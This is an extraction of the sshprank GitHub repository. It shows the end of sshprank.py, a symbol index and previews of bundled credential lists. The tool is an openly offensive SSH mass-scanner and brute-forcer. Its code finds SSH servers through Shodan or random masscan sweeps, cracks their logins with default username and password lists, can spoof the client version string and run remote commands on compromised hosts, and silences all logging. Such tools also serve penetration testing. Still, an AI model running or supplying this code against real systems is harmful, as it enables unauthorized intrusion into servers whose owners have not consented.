log(f'ssh error: {host}:{port} ({str(err)})', 'warn')
except Exception as err:
if opts['verbose']:
log(f'other error: {host}:{port} ({str(err)})', 'warn')
finally:
if t:
try:
t.close()
except OSError:
pass
if sock:
try:
sock.close()
except OSError:
pass
return
def check_pwauths():
try:
with open(opts['targetlist'], 'r', encoding='latin-1') as fh:
with ThreadPoolExecutor(opts['bthreads']) as exe:
futures = set()
max_pending = opts['bthreads'] * 4
for line in fh:
line = line.strip()
if not line:
continue
target = parse_target(line)
host = ''.join([*target])
if not host:
continue
ports = target.get(host)
for port in ports:
if len(futures) >= max_pending:
_, futures = wait(futures, return_when=FIRST_COMPLETED)
futures.add(exe.submit(check_pwauth, host, port))
except (FileNotFoundError, PermissionError) as err:
log(f"{err.args[1].lower()}: {opts['targetlist']}", 'error')
return
def crack_shodan(targets):
log(f'w00t w00t, found {len(targets)} sshds', 'good')
log('cracking shodan targets', 'info')
opts['targetlist'] = 'sshds.txt'
log_targets(targets, opts['targetlist'])
log(f'saved found sshds to {opts["targetlist"]}', 'info')
log('cracking found targets', 'info')
crack_multi()
return
def shodan_search():
s = opts['sho_opts'].split(';')
if len(s) != 3:
log('format wrong, check usage and examples', 'error')
opts['sho_str'] = s[0]
opts['sho_page'] = int(s[1])
opts['sho_lim'] = int(s[2])
try:
api = shodan.Shodan(opts['sho_key'])
res = api.search(opts['sho_str'], opts['sho_page'], opts['sho_lim'])
for r in res.get('matches', []):
ip = r.get('ip_str')
port = r.get('port')
if not ip or not port:
continue
banner = (r.get('data') or '').split('\n')[0]
if opts['verbose']:
log(f'found sshd: {ip}:{port}:{banner}', 'good', esc='\n')
stargets.append(f'{ip}:{port}:{banner}\n')
except shodan.APIError as e:
log(f'shodan error: {str(e)}', 'error')
return
def is_root():
if os.geteuid() == 0:
return True
return False
def main(cmdline):
sys.stderr.write(BANNER + '\n\n')
check_argc(cmdline)
parse_cmdline(cmdline)
check_argv(cmdline)
if opts['sshver']:
v = opts['sshver']
if v.startswith('SSH-'):
parts = v.split('-', 2)
if len(parts) == 3:
v = parts[2]
paramiko.Transport._CLIENT_ID = v
log('game started', 'info')
if opts['session']:
sess = _load_session(opts['session'])
if sess:
_apply_session(sess)
log(f'restored session from {opts["session"]}', 'info')
global _progress_running
prog_thread = None
if not opts['verbose']:
_progress_running = True
prog_thread = threading.Thread(target=_progress_loop, daemon=True)
prog_thread.start()
interrupted = False
try:
if '-p' in cmdline:
log('checking password auth', 'info', esc='\n')
if not opts['targetlist'] and opts['targets']:
host, ports = list(opts['targets'].copy().items())[0]
for port in ports:
check_pwauth(host, port)
else:
check_pwauths()
elif '-b' in cmdline:
log('grabbing banners', 'info', esc='\n')
if not opts['targetlist'] and opts['targets']:
host, ports = list(opts['targets'].copy().items())[0]
for port in ports:
grab_banner(host, port)
else:
check_banners()
elif '-m' in cmdline:
if is_root():
if '-r' in cmdline:
log('scanning and cracking random targets', 'info')
crack_random()
crack_scan()
else:
log('scanning and cracking targets', 'info')
crack_scan()
else:
log('get r00t for this option', 'error')
elif '-s' in cmdline:
with ThreadPoolExecutor(1) as e:
future = e.submit(shodan_search)
status(future, 'searching for sshds via shodan\r')
log('\n')
if len(stargets) > 0:
crack_shodan(stargets)
else:
log('no sshds found :(', 'info')
elif not opts['targetlist'] and opts['targets']:
log('cracking single target', 'info')
crack_single()
elif opts['targetlist']:
if opts['shuffle']:
shuffle_targets()
if opts['randbrute'] is not None:
label = 'infinite' if opts['randbrute'] == 0 else str(opts['randbrute'])
log(f'random brute mode ({label} attempts)', 'info')
crack_rand_brute()
else:
crack_multi()
except KeyboardInterrupt:
interrupted = True
_progress_running = False
log('you aborted me', _type='warn', pre_esc='\r \r')
finally:
signal.signal(signal.SIGINT, signal.SIG_IGN)
signal.signal(signal.SIGTERM, signal.SIG_IGN)
_progress_running = False
if prog_thread:
prog_thread.join(timeout=1)
_save_and_log_session(interrupted)
log('game over', 'info')
_cleanup_temp_files()
os._exit(SUCCESS)
return
def _silence_close_ebadf(args):
if args.exc_type is OSError and \
getattr(args.exc_value, 'errno', None) == errno.EBADF:
return
threading.__excepthook__(args)
return
def _sigterm_handler(signum, frame):
raise KeyboardInterrupt
return
if __name__ == '__main__':
logger = logging.getLogger()
logger.disabled = True
logger.setLevel(100)
logger.propagate = False
logging.disable(logging.ERROR)
logging.disable(logging.FATAL)
logging.disable(logging.CRITICAL)
logging.disable(logging.DEBUG)
logging.disable(logging.WARNING)
logging.disable(logging.INFO)
if not sys.warnoptions:
warnings.simplefilter('ignore')
threading.excepthook = _silence_close_ebadf
signal.signal(signal.SIGTERM, _sigterm_handler)
main(sys.argv[1:])
gitextract_655iuklf/ ├── .gitignore ├── README.md ├── docs/ │ ├── LICENSE │ ├── TODO │ └── requirements.txt ├── lists/ │ ├── combo.list │ ├── pws.list │ └── user.list └── sshprank.py
SYMBOL INDEX (47 symbols across 1 files)
FILE: sshprank.py
function log (line 252) | def log(msg='', _type='normal', pre_esc='', esc='\n'):
function parse_target (line 282) | def parse_target(target):
function read_file (line 304) | def read_file(_file):
function _cleanup_temp_files (line 316) | def _cleanup_temp_files():
function _write_temp_targets (line 327) | def _write_temp_targets(prefix, hosts, port_part):
function _expand_cidr_to_file (line 342) | def _expand_cidr_to_file(arg):
function _expand_range_to_file (line 363) | def _expand_range_to_file(arg):
function parse_cmdline (line 401) | def parse_cmdline(cmdline):
function check_argv (line 526) | def check_argv(cmdline):
function check_argc (line 570) | def check_argc(cmdline):
function grab_banner (line 577) | def grab_banner(host, port):
class PortScanner (line 599) | class PortScanner(masscan.PortScanner):
method scan_result (line 601) | def scan_result(self):
function portscan (line 605) | def portscan():
function grep_service (line 619) | def grep_service(scan, service='ssh', prot='tcp'):
function log_targets (line 645) | def log_targets(targets, logfile):
function _hash_file (line 656) | def _hash_file(path):
function _save_session (line 670) | def _save_session(path):
function _resolve_session_path (line 698) | def _resolve_session_path(interrupted):
function _save_and_log_session (line 707) | def _save_and_log_session(interrupted):
function _load_session (line 714) | def _load_session(path):
function _apply_session (line 727) | def _apply_session(data):
function _progress_inc_done (line 750) | def _progress_inc_done(n=1):
function _progress_inc_total (line 758) | def _progress_inc_total(n):
function _progress_loop (line 766) | def _progress_loop():
function status (line 792) | def status(future, msg, pre_esc=''):
function _run_remote_cmd (line 799) | def _run_remote_cmd(cli, cmd):
function crack_login (line 826) | def crack_login(host, port, username, password):
function _creds_per_port (line 907) | def _creds_per_port():
function crack_port (line 923) | def crack_port(host, port):
function run_threads (line 970) | def run_threads(host, ports):
function gen_ipv4addr (line 980) | def gen_ipv4addr():
function shuffle_targets (line 992) | def shuffle_targets():
function crack_rand_brute (line 1008) | def crack_rand_brute():
function crack_single (line 1052) | def crack_single():
function crack_multi (line 1062) | def crack_multi():
function crack_random (line 1092) | def crack_random():
function crack_scan (line 1104) | def crack_scan():
function check_banners (line 1123) | def check_banners():
function check_pwauth (line 1148) | def check_pwauth(host, port):
function check_pwauths (line 1202) | def check_pwauths():
function crack_shodan (line 1227) | def crack_shodan(targets):
function shodan_search (line 1239) | def shodan_search():
function is_root (line 1265) | def is_root():
function main (line 1272) | def main(cmdline):
function _silence_close_ebadf (line 1369) | def _silence_close_ebadf(args):
function _sigterm_handler (line 1378) | def _sigterm_handler(signum, frame):
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (78K chars).
[
{
"path": ".gitignore",
"chars": 246,
"preview": ".bash_history\nbuild.sh\nclean.sh\n*.db\n.DS_Store\n.git\nid_dsa\nid_rsa\n*.key\n*.log\n*.o\nowned.txt\npasswd\npaused.conf\n*.pyc\n__p"
},
{
"path": "README.md",
"chars": 6887,
"preview": "# Description\n\nA fast SSH mass-scanner, login cracker, banner grabber and password auth\nchecker tool using the python-ma"
},
{
"path": "docs/LICENSE",
"chars": 1080,
"preview": "The MIT License (MIT)\n\nCopyright (c) 2012-2025 noptrix\n\nPermission is hereby granted, free of charge, to any person obta"
},
{
"path": "docs/TODO",
"chars": 10058,
"preview": "===> 1.x.x\n\n [ ] new feature\n anti fail2ban\n [ ] new feature\n honeypot detection system\n [ ] new featrue\n "
},
{
"path": "docs/requirements.txt",
"chars": 31,
"preview": "paramiko\npython-masscan\nshodan\n"
},
{
"path": "lists/combo.list",
"chars": 1210,
"preview": "accounting:accounting\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:admin\nadmin:admin@123\nadmin:admin123\nadmin:password\nansi"
},
{
"path": "lists/pws.list",
"chars": 12330,
"preview": "\n!!!!\n....\n$ummer!\n$ummer#\n$ummer.\n$ummer?\n$ummer@\n$ummer1\n$ummer1!\n$ummer1?\n$ummer12\n$ummer12!\n$ummer12?\n$ummer123\n$umm"
},
{
"path": "lists/user.list",
"chars": 505,
"preview": "accounting\nadmin\nansible\napache\nbackup\ncentos\ndebian\ndefault\ndeploy\ndev\ndeveloper\nec2-user\nelastic\nftp\nftpuser\nfwadmin\ng"
},
{
"path": "sshprank.py",
"chars": 42059,
"preview": "#!/usr/bin/python3\n# -*- coding: utf-8 -*- ########################################################\n# ____"
}
]
About this extraction
This page contains the full source code of the noptrix/sshprank GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (72.7 KB), approximately 22.4k tokens, and a symbol index with 47 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.